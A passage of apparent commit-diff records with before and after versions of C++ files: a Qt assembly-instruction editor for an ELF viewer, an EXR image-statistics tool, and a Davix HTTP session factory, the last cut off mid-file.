QString(\"The new instruction cannot exceed the section limit.\"));\n                return;\n            }\n\n            fullyCovered = row - selectedRow;\n            if (rest)\n                --fullyCovered;\n\n            QString message = QString(\"The instruction provided is longer than the instruction to \"\n                \"be replaced. %1 instruction(s) starting with the one you selected will be fully \"\n                \"overwritten.\").arg(fullyCovered);\n            QString ord;\n            if (fullyCovered + 1 == 2)\n                ord = QString(\"nd\");\n            else if (fullyCovered + 1 == 3)\n                ord = QString(\"rd\");\n            else\n                ord = QString(\"th\");\n            if (rest)\n                message += QString(\" Additionally, the %1%2 instruction will be partially \"\n                    \"overwritten: its last %3 bytes will be replaced with NOP instructions. \")\n                    .arg(fullyCovered + 1).arg(ord).arg(rest);\n            message += QString(\"\\nDo you want to proceed?\");\n\n            QMessageBox::StandardButton reply;\n            reply = QMessageBox::question(this, \"Confirmation required\", message,\n                QMessageBox::Yes | QMessageBox::No);\n            if (reply == QMessageBox::No)\n                return;\n        }\n        else\n        {\n            fullyCovered = 1;\n            rest = 0;\n        }\n    }\n\n    bool ok;\n    unsigned long long address = list[0].data().toString().toULongLong(&ok, 16);\n    int row = selectedRow;\n\n    if (binaryCode != \"\")\n    {\n        std::string opcode;\n        std::string arguments;\n        ASMViewer::splitInstruction(binaryCode, opcode, arguments);\n\n        QList<QStandardItem *> newInstructionEntry {\n            new QStandardItem(QString::number(address, 16)),\n            new QStandardItem(ASMViewer::bufferToHex(binaryCode)),\n            new QStandardItem(QString(opcode.c_str())),\n            new QStandardItem(QString(arguments.c_str()))\n        };\n\n        asmViewer->getModel()->insertRow(row, newInstructionEntry);\n        address += binaryCode.size();\n        ++row;\n    }\n\n    for (int i = 0; i < rest; ++i)\n    {\n        QList<QStandardItem *> newInstructionEntry {\n            new QStandardItem(QString::number(address, 16)),\n            new QStandardItem(QString(\"90\")),\n            new QStandardItem(QString(\"nop\")),\n            new QStandardItem(QString(\"\"))\n        };\n        asmViewer->getModel()->insertRow(row, newInstructionEntry);\n        ++address;\n        ++row;\n    }\n\n    asmViewer->getModel()->removeRows(row, fullyCovered + (rest ? 1 : 0));\n\n    \/* TODO: The input instruction will also be updated in the elfio backend\n     * and hexedit *\/\n}\n\nvoid ModifyASMBar::changeViewerSelection(const QItemSelection &selected,\n                                         const QItemSelection &deselected)\n{\n    QModelIndexList list = selected.indexes();\n    text->setText(list[2].data().toString() + ' ' + list[3].data().toString());\n\n    bool ok;\n    unsigned long long address = list[0].data().toString().toULongLong(&ok, 16);\n    hexEditor->selectData(container->addressToOffset(address), (list[1].data().toString().size() + 1) \/ 3);\n}\n<commit_msg>Call ELFCodeContainer::overwrite after updating the ASMViewer model<commit_after>\/* The MIT License (MIT)\n *\n * Copyright (c) 2016 Ștefan-Gabriel Mirea, Adrian Dobrică\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\/\n\n#include \"modify_asmbar.hpp\"\n#include \"qhexedit.hpp\"\n#include <QMessageBox>\n#include <QHBoxLayout>\n#include <iostream>\n#include <QDebug>\n\nModifyASMBar::ModifyASMBar(CodeContainer *container, ASMViewer *asmViewer, QHexEdit *hexEditor,\n    QWidget *parent) : QWidget(parent), container(container), asmViewer(asmViewer),\n                       hexEditor(hexEditor)\n{\n    modify = new QLabel(QString(\"Modify:\"), this);\n    text = new QLineEdit(this);\n    ok = new QPushButton(QString(\"OK\"), this);\n\n    QHBoxLayout *layout = new QHBoxLayout;\n    layout->setContentsMargins(QMargins());\n    layout->addWidget(modify);\n    layout->addWidget(text);\n    layout->addWidget(ok);\n    setLayout(layout);\n    setMaximumHeight(80);\n\n    connect(ok, SIGNAL(clicked()), this, SLOT(editInstruction()));\n}\n\nvoid ModifyASMBar::editInstruction()\n{\n    std::cerr << \"OK!\\n\";\n    QModelIndexList list = asmViewer->selectionModel()->selectedIndexes();\n    QString inputInstruction = text->text();\n\n    if (!list.size())\n    {\n        QMessageBox::critical(this, QString(\"Error\"),\n                              QString(\"You must select the instruction to be replaced.\"));\n        return;\n    }\n\n    std::string binaryCode;\n    int fullyCovered;\n    int rest;\n    QString machineCode = list[1].data().toString();\n    unsigned int instrSize = (machineCode.size() + 1) \/ 3;\n    int selectedRow = list[0].row();\n\n    if (inputInstruction.isEmpty())\n    {\n        QMessageBox::StandardButton reply;\n        reply = QMessageBox::question(this, \"Confirmation required\",\n            \"You left the \\\"Modify\\\" field blank. Do you want to delete the currently selected \"\n            \"instruction? Its content will be replaced with NOP instructions.\",\n            QMessageBox::Yes | QMessageBox::No);\n        if (reply == QMessageBox::No)\n            return;\n        fullyCovered = 0;\n        rest = instrSize;\n    }\n    else\n    {\n        bool assembled;\n        binaryCode = FileAssembly::assembleCode(inputInstruction.toStdString(), assembled);\n        if (!assembled)\n        {\n            QMessageBox::critical(this, QString(\"Error\"),\n                QString(\"The instruction provided could not be assembled. \"\n                        \"Please check your input and try again.\"));\n            return;\n        }\n\n        if (binaryCode.size() < instrSize)\n        {\n            QMessageBox::StandardButton reply;\n            reply = QMessageBox::question(this, \"Confirmation required\",\n                QString(\"The instruction provided is shorter than the instruction to be replaced. \"\n                        \"The last %1 byte(s) of the currently selected instruction will be \"\n                        \"overwritten with NOP instructions.\\nDo you want to proceed?\")\n                        .arg(instrSize - binaryCode.size()),\n                QMessageBox::Yes | QMessageBox::No);\n            if (reply == QMessageBox::No)\n                return;\n            fullyCovered = 0;\n            rest = instrSize - binaryCode.size();\n        }\n        else if (binaryCode.size() > instrSize)\n        {\n            int row = selectedRow;\n            int bytesLeft = binaryCode.size();\n            rest = 0;\n\n            while (bytesLeft > 0 && row < asmViewer->getModel()->rowCount())\n            {\n                int currentSize = (asmViewer->getModel()->item(row, 1)->text().size() + 1) \/ 3;\n                if (currentSize >= bytesLeft)\n                    rest = currentSize - bytesLeft;\n                bytesLeft -= currentSize;\n                ++row;\n            }\n\n            if (bytesLeft > 0 && row == asmViewer->getModel()->rowCount())\n            {\n                QMessageBox::critical(this, QString(\"Error\"),\n                    QString(\"The new instruction cannot exceed the section limit.\"));\n                return;\n            }\n\n            fullyCovered = row - selectedRow;\n            if (rest)\n                --fullyCovered;\n\n            QString message = QString(\"The instruction provided is longer than the instruction to \"\n                \"be replaced. %1 instruction(s) starting with the one you selected will be fully \"\n                \"overwritten.\").arg(fullyCovered);\n            QString ord;\n            if (fullyCovered + 1 == 2)\n                ord = QString(\"nd\");\n            else if (fullyCovered + 1 == 3)\n                ord = QString(\"rd\");\n            else\n                ord = QString(\"th\");\n            if (rest)\n                message += QString(\" Additionally, the %1%2 instruction will be partially \"\n                    \"overwritten: its last %3 bytes will be replaced with NOP instructions. \")\n                    .arg(fullyCovered + 1).arg(ord).arg(rest);\n            message += QString(\"\\nDo you want to proceed?\");\n\n            QMessageBox::StandardButton reply;\n            reply = QMessageBox::question(this, \"Confirmation required\", message,\n                QMessageBox::Yes | QMessageBox::No);\n            if (reply == QMessageBox::No)\n                return;\n        }\n        else\n        {\n            fullyCovered = 1;\n            rest = 0;\n        }\n    }\n\n    bool ok;\n    unsigned long long initialAddress = list[0].data().toString().toULongLong(&ok, 16);\n    unsigned long long address = initialAddress;\n    int row = selectedRow;\n\n    if (binaryCode != \"\")\n    {\n        std::string opcode;\n        std::string arguments;\n        ASMViewer::splitInstruction(binaryCode, opcode, arguments);\n\n        QList<QStandardItem *> newInstructionEntry {\n            new QStandardItem(QString::number(address, 16)),\n            new QStandardItem(ASMViewer::bufferToHex(binaryCode)),\n            new QStandardItem(QString(opcode.c_str())),\n            new QStandardItem(QString(arguments.c_str()))\n        };\n\n        asmViewer->getModel()->insertRow(row, newInstructionEntry);\n        address += binaryCode.size();\n        ++row;\n    }\n\n    std::string codeContainerUpdate = binaryCode;\n    for (int i = 0; i < rest; ++i)\n    {\n        QList<QStandardItem *> newInstructionEntry {\n            new QStandardItem(QString::number(address, 16)),\n            new QStandardItem(QString(\"90\")),\n            new QStandardItem(QString(\"nop\")),\n            new QStandardItem(QString(\"\"))\n        };\n        codeContainerUpdate += (char)0x90;\n        asmViewer->getModel()->insertRow(row, newInstructionEntry);\n        ++address;\n        ++row;\n    }\n\n    asmViewer->getModel()->removeRows(row, fullyCovered + (rest ? 1 : 0));\n\n    \/* TODO: The input instruction will also be updated in the elfio backend\n     * and hexedit *\/\n    container->overwrite(initialAddress, codeContainerUpdate);\n}\n\nvoid ModifyASMBar::changeViewerSelection(const QItemSelection &selected,\n                                         const QItemSelection &deselected)\n{\n    QModelIndexList list = selected.indexes();\n    text->setText(list[2].data().toString() + ' ' + list[3].data().toString());\n\n    bool ok;\n    unsigned long long address = list[0].data().toString().toULongLong(&ok, 16);\n    hexEditor->selectData(container->addressToOffset(address), (list[1].data().toString().size() + 1) \/ 3);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"..\/records\/RandomAccessFilm.h\"\n\nvoid reportVisualError(const RandomAccessFilm &in,\n                       const RandomAccessFilm &ref)\n{\n  float displayMax = 100.0f;\n\n  \/\/ scale to display max\n  RandomAccessFilm displayIn = in;\n  displayIn.scale(Spectrum(displayMax, displayMax, displayMax));\n\n  RandomAccessFilm displayRef = ref;\n  displayRef.scale(Spectrum(displayMax, displayMax, displayMax));\n\n  \/\/ compute target image\n  RandomAccessFilm target(ref.getWidth(), ref.getHeight());\n  for(size_t y = 0; y != target.getHeight(); ++y)\n  {\n    for(size_t x = 0; x != target.getWidth(); ++x)\n    {\n      float e = fabs(displayRef.raster(x,y).luminance() - displayIn.raster(x,y).luminance());\n      target.raster(x,y) = Spectrum::white();\n      target.raster(x,y).setLuminance(e);\n    } \/\/ end for x\n  } \/\/ end for y\n\n  RandomAccessFilm tvi = ref;\n  tvi.applyThresholdVersusIntensityFunction();\n  \n  \/\/ divide by tvi\n  target.divideLuminance(tvi, 0);\n\n  \/\/ now add everything up\n  float sum = 0;\n  for(size_t y = 0; y != target.getHeight(); ++y)\n  {\n    for(size_t x = 0; x != target.getWidth(); ++x)\n    {\n      sum += target.raster(x,y).luminance();\n    } \/\/ end for x\n  } \/\/ end for y\n  sum \/= (target.getWidth() * target.getHeight());\n\n  std::cerr << \"Visual error: \" << sum << std::endl;\n} \/\/ end reportVisualError()\n\nint main(int argc, char **argv)\n{\n  if(argc < 2)\n  {\n    std::cerr << \"usage: imgstat in.exr [ref.exr]\" << std::endl;\n    exit(-1);\n  } \/\/ end if\n\n  RandomAccessFilm in;\n  in.readEXR(argv[1]);\n\n  \/\/ first compute mean\n  Spectrum mean(Spectrum::black());\n  for(size_t y = 0; y != in.getHeight(); ++y)\n  {\n    for(size_t x = 0; x != in.getWidth(); ++x)\n    {\n      mean += in.raster(x,y);\n    } \/\/ end for x\n  } \/\/ end for y\n\n  mean \/= (in.getWidth() * in.getHeight());\n\n  \/\/ now compute variance\n  float variance = 0;\n  for(size_t y = 0; y != in.getHeight(); ++y)\n  {\n    for(size_t x = 0; x != in.getWidth(); ++x)\n    {\n      float diff2 = in.raster(x,y).luminance() - mean.luminance();\n      diff2 *= diff2;\n      variance += diff2;\n    } \/\/ end for x\n  } \/\/ end for y\n\n  variance \/= (in.getWidth() * in.getHeight());\n\n  \/\/ now compute skew & kurtosis\n  float kurtosisNumerator = 0;\n  float skewNumerator = 0;\n  float denom = 0;\n  for(size_t y = 0; y != in.getHeight(); ++y)\n  {\n    for(size_t x = 0; x != in.getWidth(); ++x)\n    {\n      float diff = in.raster(x,y).luminance() - mean.luminance();\n      float diff2 = diff * diff;\n      float diff3 = diff * diff2;\n      float diff4 = diff2 * diff2;\n\n      skewNumerator += diff3;\n      kurtosisNumerator += diff4;\n      denom += diff2;\n    } \/\/ end for x\n  } \/\/ end for y\n\n  skewNumerator *= sqrtf(static_cast<float>(in.getWidth() * in.getHeight()));\n  kurtosisNumerator *= (in.getWidth() * in.getHeight());\n\n  float skew = skewNumerator \/ powf(denom,1.5f);\n  float kurtosis = kurtosisNumerator \/ powf(denom,2.0f) - 3.0f;\n\n  std::cout << \"Filename: \" << argv[0] << std::endl;\n  std::cout << \"mean: \" << mean << std::endl;\n  std::cout << \"variance: \" << variance << std::endl;\n  std::cout << \"skew: \" << skew << std::endl;\n  std::cout << \"kurtosis: \" << kurtosis << std::endl;\n\n  if(argc > 2)\n  {\n    RandomAccessFilm ref;\n    ref.readEXR(argv[2]);\n    if(ref.getWidth() != in.getWidth() ||\n       ref.getHeight() != in.getHeight())\n    {\n      RandomAccessFilm resampled(in.getWidth(), in.getHeight());\n      ref.resample(resampled);\n      ref = resampled;\n    } \/\/ end if\n\n    \/\/ downsample then upsample the reference\n    RandomAccessFilm down(ref.getWidth() \/ 4, ref.getHeight() \/ 4);\n    ref.resample(down);\n    down.resample(ref);\n\n    \/\/ first normalize the input's mean luminance to match the reference\n    float referenceLuminance = ref.computeMeanLuminance();\n    float s = referenceLuminance \/ in.computeMeanLuminance();\n    in.scale(Spectrum(s,s,s));\n\n    \/\/ measure squared error\n    float squaredError = 0;\n    for(size_t y = 0; y != in.getHeight(); ++y)\n    {\n      for(size_t x = 0; x != in.getWidth(); ++x)\n      {\n        float r = ref.raster(x,y).luminance();\n\n        if(r == r && r != std::numeric_limits<float>::infinity())\n        {\n          float i = in.raster(x,y).luminance();\n          \/\/i = std::min(powf(i,1.0f \/ 2.1f), 1.0f);\n          \/\/r = std::min(powf(i,1.0f \/ 2.1f), 1.0f);\n\n          float diff = i - r;\n          squaredError += diff * diff;\n        } \/\/ end if\n        else\n        {\n          std::cerr << \"Warning: skipped inf or nan in reference at \" << x << \",\" << y << std::endl;\n        } \/\/ end else\n      } \/\/ end for x\n    } \/\/ end for y\n    squaredError \/= (in.getWidth() * in.getHeight());\n\n    \/\/ measure relative error\n    float m = ref.computeLuminancePercentileIgnoreZero(0);\n\n    float relError = 0;\n    for(size_t y = 0; y != in.getHeight(); ++y)\n    {\n      for(size_t x = 0; x != in.getWidth(); ++x)\n      {\n        float r = ref.raster(x,y).luminance();\n\n        if(r == r && r != std::numeric_limits<float>::infinity())\n        {\n\n          float i = in.raster(x,y).luminance();\n\n          float diff = fabs(i - r);\n\n          diff \/= std::max(0.0005f, r);\n\n          relError += diff;\n        } \/\/ end if\n        else\n        {\n          std::cerr << \"Warning: skipped inf or nan in reference at \" << x << \",\" << y << std::endl;\n        } \/\/ end else\n      } \/\/ end for x\n    } \/\/ end for y\n    relError \/= (in.getWidth() * in.getHeight());\n\n    std::cout << \"squared error: \" << squaredError << std::endl;\n    std::cout << \"relative error: \" << relError << std::endl;\n\n\n    reportVisualError(in, ref);\n  } \/\/ end if\n\n  return 0;\n} \/\/ end main()\n\n<commit_msg>Kill warning<commit_after>#include \"..\/records\/RandomAccessFilm.h\"\n\nvoid reportVisualError(const RandomAccessFilm &in,\n                       const RandomAccessFilm &ref)\n{\n  float displayMax = 100.0f;\n\n  \/\/ scale to display max\n  RandomAccessFilm displayIn = in;\n  displayIn.scale(Spectrum(displayMax, displayMax, displayMax));\n\n  RandomAccessFilm displayRef = ref;\n  displayRef.scale(Spectrum(displayMax, displayMax, displayMax));\n\n  \/\/ compute target image\n  RandomAccessFilm target(ref.getWidth(), ref.getHeight());\n  for(size_t y = 0; y != target.getHeight(); ++y)\n  {\n    for(size_t x = 0; x != target.getWidth(); ++x)\n    {\n      float e = fabs(displayRef.raster(x,y).luminance() - displayIn.raster(x,y).luminance());\n      target.raster(x,y) = Spectrum::white();\n      target.raster(x,y).setLuminance(e);\n    } \/\/ end for x\n  } \/\/ end for y\n\n  RandomAccessFilm tvi = ref;\n  tvi.applyThresholdVersusIntensityFunction();\n  \n  \/\/ divide by tvi\n  target.divideLuminance(tvi, 0);\n\n  \/\/ now add everything up\n  float sum = 0;\n  for(size_t y = 0; y != target.getHeight(); ++y)\n  {\n    for(size_t x = 0; x != target.getWidth(); ++x)\n    {\n      sum += target.raster(x,y).luminance();\n    } \/\/ end for x\n  } \/\/ end for y\n  sum \/= (target.getWidth() * target.getHeight());\n\n  std::cerr << \"Visual error: \" << sum << std::endl;\n} \/\/ end reportVisualError()\n\nint main(int argc, char **argv)\n{\n  if(argc < 2)\n  {\n    std::cerr << \"usage: imgstat in.exr [ref.exr]\" << std::endl;\n    exit(-1);\n  } \/\/ end if\n\n  RandomAccessFilm in;\n  in.readEXR(argv[1]);\n\n  \/\/ first compute mean\n  Spectrum mean(Spectrum::black());\n  for(size_t y = 0; y != in.getHeight(); ++y)\n  {\n    for(size_t x = 0; x != in.getWidth(); ++x)\n    {\n      mean += in.raster(x,y);\n    } \/\/ end for x\n  } \/\/ end for y\n\n  mean \/= (in.getWidth() * in.getHeight());\n\n  \/\/ now compute variance\n  float variance = 0;\n  for(size_t y = 0; y != in.getHeight(); ++y)\n  {\n    for(size_t x = 0; x != in.getWidth(); ++x)\n    {\n      float diff2 = in.raster(x,y).luminance() - mean.luminance();\n      diff2 *= diff2;\n      variance += diff2;\n    } \/\/ end for x\n  } \/\/ end for y\n\n  variance \/= (in.getWidth() * in.getHeight());\n\n  \/\/ now compute skew & kurtosis\n  float kurtosisNumerator = 0;\n  float skewNumerator = 0;\n  float denom = 0;\n  for(size_t y = 0; y != in.getHeight(); ++y)\n  {\n    for(size_t x = 0; x != in.getWidth(); ++x)\n    {\n      float diff = in.raster(x,y).luminance() - mean.luminance();\n      float diff2 = diff * diff;\n      float diff3 = diff * diff2;\n      float diff4 = diff2 * diff2;\n\n      skewNumerator += diff3;\n      kurtosisNumerator += diff4;\n      denom += diff2;\n    } \/\/ end for x\n  } \/\/ end for y\n\n  skewNumerator *= sqrtf(static_cast<float>(in.getWidth() * in.getHeight()));\n  kurtosisNumerator *= (in.getWidth() * in.getHeight());\n\n  float skew = skewNumerator \/ powf(denom,1.5f);\n  float kurtosis = kurtosisNumerator \/ powf(denom,2.0f) - 3.0f;\n\n  std::cout << \"Filename: \" << argv[0] << std::endl;\n  std::cout << \"mean: \" << mean << std::endl;\n  std::cout << \"variance: \" << variance << std::endl;\n  std::cout << \"skew: \" << skew << std::endl;\n  std::cout << \"kurtosis: \" << kurtosis << std::endl;\n\n  if(argc > 2)\n  {\n    RandomAccessFilm ref;\n    ref.readEXR(argv[2]);\n    if(ref.getWidth() != in.getWidth() ||\n       ref.getHeight() != in.getHeight())\n    {\n      RandomAccessFilm resampled(in.getWidth(), in.getHeight());\n      ref.resample(resampled);\n      ref = resampled;\n    } \/\/ end if\n\n    \/\/ downsample then upsample the reference\n    RandomAccessFilm down(ref.getWidth() \/ 4, ref.getHeight() \/ 4);\n    ref.resample(down);\n    down.resample(ref);\n\n    \/\/ first normalize the input's mean luminance to match the reference\n    float referenceLuminance = ref.computeMeanLuminance();\n    float s = referenceLuminance \/ in.computeMeanLuminance();\n    in.scale(Spectrum(s,s,s));\n\n    \/\/ measure squared error\n    float squaredError = 0;\n    for(size_t y = 0; y != in.getHeight(); ++y)\n    {\n      for(size_t x = 0; x != in.getWidth(); ++x)\n      {\n        float r = ref.raster(x,y).luminance();\n\n        if(r == r && r != std::numeric_limits<float>::infinity())\n        {\n          float i = in.raster(x,y).luminance();\n          \/\/i = std::min(powf(i,1.0f \/ 2.1f), 1.0f);\n          \/\/r = std::min(powf(i,1.0f \/ 2.1f), 1.0f);\n\n          float diff = i - r;\n          squaredError += diff * diff;\n        } \/\/ end if\n        else\n        {\n          std::cerr << \"Warning: skipped inf or nan in reference at \" << x << \",\" << y << std::endl;\n        } \/\/ end else\n      } \/\/ end for x\n    } \/\/ end for y\n    squaredError \/= (in.getWidth() * in.getHeight());\n\n    \/\/ measure relative error\n    float relError = 0;\n    for(size_t y = 0; y != in.getHeight(); ++y)\n    {\n      for(size_t x = 0; x != in.getWidth(); ++x)\n      {\n        float r = ref.raster(x,y).luminance();\n\n        if(r == r && r != std::numeric_limits<float>::infinity())\n        {\n\n          float i = in.raster(x,y).luminance();\n\n          float diff = fabs(i - r);\n\n          diff \/= std::max(0.0005f, r);\n\n          relError += diff;\n        } \/\/ end if\n        else\n        {\n          std::cerr << \"Warning: skipped inf or nan in reference at \" << x << \",\" << y << std::endl;\n        } \/\/ end else\n      } \/\/ end for x\n    } \/\/ end for y\n    relError \/= (in.getWidth() * in.getHeight());\n\n    std::cout << \"squared error: \" << squaredError << std::endl;\n    std::cout << \"relative error: \" << relError << std::endl;\n\n\n    reportVisualError(in, ref);\n  } \/\/ end if\n\n  return 0;\n} \/\/ end main()\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"neonsessionfactory.h\"\n\n#include <glibmm\/error.h>\n#include <glibmm\/quark.h>\n\n#include <cstring>\n\nnamespace Davix {\n\nconst char* proto_support[] = { \"http\", \"https\", NULL };\nconst unsigned int ports[] = { 80 ,443 , 0};\n\nNEONSessionFactory::NEONSessionFactory()\n{\n    ne_sock_init();\n    _ca_check=true;\n    _user_auth_callback_data = NULL;\n    _call = NULL;\n}\n\nNEONSessionFactory::~NEONSessionFactory(){\n    Glib::Mutex::Lock lock(_sess_mut);\n    for(std::multimap<std::string, ne_session*>::iterator it = _sess_map.begin(); it != _sess_map.end(); ++it){\n        ne_session_destroy(it->second);\n    }\n    ne_sock_exit();\n}\n\nRequest* NEONSessionFactory::take_request(RequestType typ, const std::string &url){\n    std::string host, protocol, path;\n    unsigned int port;\n    parse_http_neon_url(url, protocol, host, path, &port);\n    ne_session* sess = create_recycled_session(protocol, host, port);\n    NEONRequest* req = new NEONRequest(this, sess, typ, path, _user_auth_callback_data, _call);\n    if(_ca_check == false)\n        req->disable_ssl_ca_check();\n    return static_cast<Request*>(req);\n}\n\nvoid NEONSessionFactory::set_authentification_controller(void *userdata, davix_auth_callback call){\n    _call = call;\n    _user_auth_callback_data = userdata;\n}\n\nvoid NEONSessionFactory::release_request(Request *req){\n    delete req;\n}\n\nvoid NEONSessionFactory::set_ssl_ca_check(bool chk){\n    _ca_check = chk;\n}\n\n\nne_session* NEONSessionFactory::create_session(const std::string & protocol, const std::string &host, unsigned int port){\n    ne_session *se;\n    se = ne_session_create(protocol.c_str(), host.c_str(), (int) port);\n    return se;\n}\n\nne_session* NEONSessionFactory::create_recycled_session(const std::string &protocol, const std::string &host, unsigned int port){\n\n    ne_session* se= NULL;\n    {\n        Glib::Mutex::Lock lock(_sess_mut);\n        std::multimap<std::string, ne_session*>::iterator it;\n        if( (it = _sess_map.find(create_map_keys_from_URL(protocol, host, port))) != _sess_map.end()){\n            davix_log_debug(\"cached ne_session found ! taken from cache \");\n            se = it->second;\n            _sess_map.erase(it);\n            return se;\n        }\n\n    }\n    davix_log_debug(\" no cached ne_session, create a new one \");\n    return create_session(protocol, host, port);\n}\n\nvoid NEONSessionFactory::internal_release_session_handle(ne_session* sess){\n    Glib::Mutex::Lock lock(_sess_mut);\n    std::multimap<std::string, ne_session*>::iterator it;\n    const std::string protocol(ne_get_scheme(sess));\n    const std::string hostport(ne_get_server_hostport(sess));\n    davix_log_debug(\"add old session to cache %s%s\", protocol.c_str(), hostport.c_str());\n\n    _sess_map.insert(std::pair<std::string, ne_session*>(protocol + hostport, sess));\n}\n\nvoid parse_http_neon_url(const std::string &url, std::string &protocol, std::string &host, std::string &path, unsigned int * port){\n    char * c_url = (char*) url.c_str();\n    char * comma;\n    if( (comma = strchr(c_url,':')) != NULL){ \/\/ determine protocol\n        char ** proto;\n        for(proto= (char**) proto_support;\n            *proto != NULL;\n            ++proto){\n            if(strncmp(c_url, *proto, comma - c_url) == 0){\n                protocol = std::string(c_url, comma-c_url);\n                break;\n            }\n        }\n        \/\/ verify if end of list -> failure\n        if(*proto != NULL){\n           char * second_slash, *first_slash_next = comma +1;\n           while(*first_slash_next == '\/') \/\/ finish prefix\n               first_slash_next ++;\n           if(*first_slash_next != '\\0'){ \/\/ if not end, find the path\n               second_slash = strchr(first_slash_next, '\/');\n               std::string host_port;\n               if(second_slash == NULL){\n                   path = std::string(\"\/\");\n                   host_port = std::string(first_slash_next);\n               }else{\n                   path = std::string(second_slash);\n                   host_port = std::string(first_slash_next, second_slash- first_slash_next);\n               }\n               const char * p_host = host_port.c_str();\n               const char * comma_port = strchr(p_host, ':');\n               *port=0;\n               if(comma_port != NULL){\n                   *port = (unsigned int) strtoul(comma_port+1,NULL,10);\n                    if( *port != ULONG_MAX && *port != 0){\n                        host = std::string(p_host, comma_port- p_host);\n                        davix_log_debug(\" host: %s path: %s protocol: %s port: %d\", host.c_str(), path.c_str(), protocol.c_str(), *port);\n                        return;\n                    }\n               }else{\n                   *port = (*proto  == (proto_support[0]))?ports[0]:ports[1];\n                   host = std::string(p_host);\n                   davix_log_debug(\" host: %s path: %s protocol: %s port: %d\", host.c_str(), path.c_str(), protocol.c_str(), *port);\n                   return;\n               }\n\n           }\n\n        }\n    }\n   throw Glib::Error(Glib::Quark(\"NEONSessionFactory::parse_http_neon_url\"), EINVAL, std::string(\"Invalid url format : \").append(url));\n}\n\nstd::string create_map_keys_from_URL(const std::string & protocol, const std::string &host, unsigned int port){\n    std::ostringstream oss;\n    if( (strcmp(protocol.c_str(), \"http\") ==0 && port == 80)\n            || ( strcmp(protocol.c_str(), \"https\") ==0 && port == 443)){\n      oss <<  protocol << host;\n    }else\n        oss <<  protocol << host << \":\" << port;\n    std::string res = oss.str();\n    davix_log_debug(\" creating session keys... %s\", res.c_str());\n    return res;\n}\n\n} \/\/ namespace Davix\n<commit_msg>-correct compilation problem with gcc 4.1<commit_after>#include \"neonsessionfactory.h\"\n\n#include <glibmm\/error.h>\n#include <glibmm\/quark.h>\n#include <string>\n#include <sstream>\n\n#include <cstring>\n\nnamespace Davix {\n\nconst char* proto_support[] = { \"http\", \"https\", NULL };\nconst unsigned int ports[] = { 80 ,443 , 0};\n\nNEONSessionFactory::NEONSessionFactory()\n{\n    ne_sock_init();\n    _ca_check=true;\n    _user_auth_callback_data = NULL;\n    _call = NULL;\n}\n\nNEONSessionFactory::~NEONSessionFactory(){\n    Glib::Mutex::Lock lock(_sess_mut);\n    for(std::multimap<std::string, ne_session*>::iterator it = _sess_map.begin(); it != _sess_map.end(); ++it){\n        ne_session_destroy(it->second);\n    }\n    ne_sock_exit();\n}\n\nRequest* NEONSessionFactory::take_request(RequestType typ, const std::string &url){\n    std::string host, protocol, path;\n    unsigned int port;\n    parse_http_neon_url(url, protocol, host, path, &port);\n    ne_session* sess = create_recycled_session(protocol, host, port);\n    NEONRequest* req = new NEONRequest(this, sess, typ, path, _user_auth_callback_data, _call);\n    if(_ca_check == false)\n        req->disable_ssl_ca_check();\n    return static_cast<Request*>(req);\n}\n\nvoid NEONSessionFactory::set_authentification_controller(void *userdata, davix_auth_callback call){\n    _call = call;\n    _user_auth_callback_data = userdata;\n}\n\nvoid NEONSessionFactory::release_request(Request *req){\n    delete req;\n}\n\nvoid NEONSessionFactory::set_ssl_ca_check(bool chk){\n    _ca_check = chk;\n}\n\n\nne_session* NEONSessionFactory::create_session(const std::string & protocol, const std::string &host, unsigned int port){\n    ne_session *se;\n    se = ne_session_create(protocol.c_str(), host.c_str(), (int) port);\n    return se;\n}\n\nne_session* NEONSessionFactory::create_recycled_session(const std::string &protocol, const std::string &host, unsigned int port){\n\n    ne_session* se= NULL;\n    {\n        Glib::Mutex::Lock lock(_sess_mut);\n        std::multimap<std::string, ne_session*>::iterator it;\n        if( (it = _sess_map.find(create_map_keys_from_URL(protocol, host, port))) != _sess_map.end()){\n            davix_log_debug(\"cached ne_session found ! taken from cache \");\n            se = it->second;\n            _sess_map.erase(it);\n            return se;\n        }\n\n    }\n    davix_log_debug(\" no cached ne_session, create a new one \");\n    return create_session(protocol, host, port);\n}\n\nvoid NEONSessionFactory::internal_release_session_handle(ne_session* sess){\n    Glib::Mutex::Lock lock(_sess_mut);\n    std::multimap<std::string, ne_session*>::iterator it;\n    const std::string protocol(ne_get_scheme(sess));\n    const std::string hostport(ne_get_server_hostport(sess));\n    davix_log_debug(\"add old session to cache %s%s\", protocol.c_str(), hostport.c_str());\n\n    _sess_map.insert(std::pair<std::string, ne_session*>(protocol + hostport, sess));\n}\n\nvoid parse_http_neon_url(const std::string &url, std::string &protocol, std::string &host, std::string &path, unsigned int * port){\n    char * c_url = (char*) url.c_str();\n    char * comma;\n    if( (comma = strchr(c_url,':')) != NULL){ \/\/ determine protocol\n        char ** proto;\n        for(proto= (char**) proto_support;\n            *proto != NULL;\n            ++proto){\n            if(strncmp(c_url, *proto, comma - c_url) == 0){\n                protocol = std::string(c_url, comma-c_url);\n                break;\n            }\n        }\n        \/\/ verify if end of list -> failure\n        if(*proto != NULL){\n           char * second_slash, *first_slash_next = comma +1;\n           while(*first_slash_next == '\/') \/\/ finish prefix\n               first_slash_next ++;\n           if(*first_slash_next != '\\0'){ \/\/ if not end, find the path\n               second_slash = strchr(first_slash_next, '\/');\n               std::string host_port;\n               if(second_slash == NULL){\n                   path = std::string(\"\/\");\n                   host_port = std::string(first_slash_next);\n               }else{\n                   path = 